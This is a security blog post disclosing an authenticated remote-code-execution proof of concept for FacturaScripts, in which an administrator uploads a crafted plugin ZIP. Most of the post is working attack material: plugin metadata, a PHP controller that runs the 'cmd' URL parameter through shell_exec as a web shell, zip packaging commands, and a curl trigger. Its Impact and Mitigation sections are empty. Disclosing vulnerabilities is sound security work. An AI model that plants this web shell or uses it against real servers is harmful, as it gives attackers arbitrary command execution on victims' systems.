security research
iltosec
← back to blog
Rce CVE Rce

FacturaScripts <= 2026 Authenticated RCE via Malicious Plugin Upload

This blog post contains a Proof of Concept (PoC) exploit for an Authenticated Remote Code Execution vulnerability in FacturaScripts (versions <= 2026).

The vulnerability exists in the plugin management system, where the application allows administrative users to upload ZIP packages containing arbitrary PHP controllers. Because the application does not validate the logic within these files, an attacker can register a malicious controller to execute OS commands.

Vulnerability Summary


Vendor Status

The vendor has reviewed the report and closed it as "not a vulnerability," stating that the behavior is by design. They argue that an administrator already possesses the highest privilege level and that the plugin system's purpose is to execute PHP code. This PoC is published to demonstrate the risks associated with administrative access and the necessity of server-level hardening.


Summary

FacturaScripts allows administrators to extend functionality by uploading plugins. A vulnerability exists where a specially crafted ZIP file can include a PHP class implementing the ControllerInterface. Once enabled, this class is registered in the application lifecycle, allowing anyone (or the attacker) to trigger the code by visiting the controller's URL.

Details

The issue resides in how plugins are processed and integrated:

  1. Core/Controller/AdminPlugins.php: The uploadPluginAction() method accepts ZIP files without inspecting the PHP content for malicious patterns or restricted functions.

  2. Core/Plugins.php: The add() method verifies the ZIP structure and the facturascripts.ini metadata but does not sandbox the functional logic.

  3. Registration: Once the "Enable" button is clicked, the malicious controller becomes a reachable route within the web application.


PoC

1. Preparation of Malicious Plugin

Create the directory structure and the required files:

mkdir -p /tmp/PwnPlugin/Controller

facturascripts.ini (Plugin Metadata):

name = PwnPlugin
description = PoC RCE Plugin
version = 1.0
min_version = 2025.1
max_version = 9999.99

Controller/PwnShell.php (The Payload):

<?php
namespace FacturaScripts\Plugins\PwnPlugin\Controller;
use FacturaScripts\Core\Contract\ControllerInterface;

class PwnShell implements ControllerInterface {
    public function __construct(string $className, string $url = '') {}
    public function getPageData(): array { return ['menu'=>'admin','title'=>'Shell']; }
    public function run(): void {
        header('Content-Type: text/plain');
        $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
        echo shell_exec($cmd);
    }
}

Packaging:

cd /tmp && zip -r PwnPlugin.zip PwnPlugin/

2. Uploading and Enabling

  1. Log in to the Admin Panel.

  2. Navigate to Admin > Plugins.

  3. Upload the PwnPlugin.zip.

  4. Locate "PwnPlugin" in the list and click Enable.

3. Execution

The web shell is now accessible as a registered controller. Trigger the execution curl via or a browser:

curl "http://localhost:8000/PwnShell?cmd=id;uname -a;hostname"


Impact

Recommended Mitigation

found this useful?
share on x ↗
related posts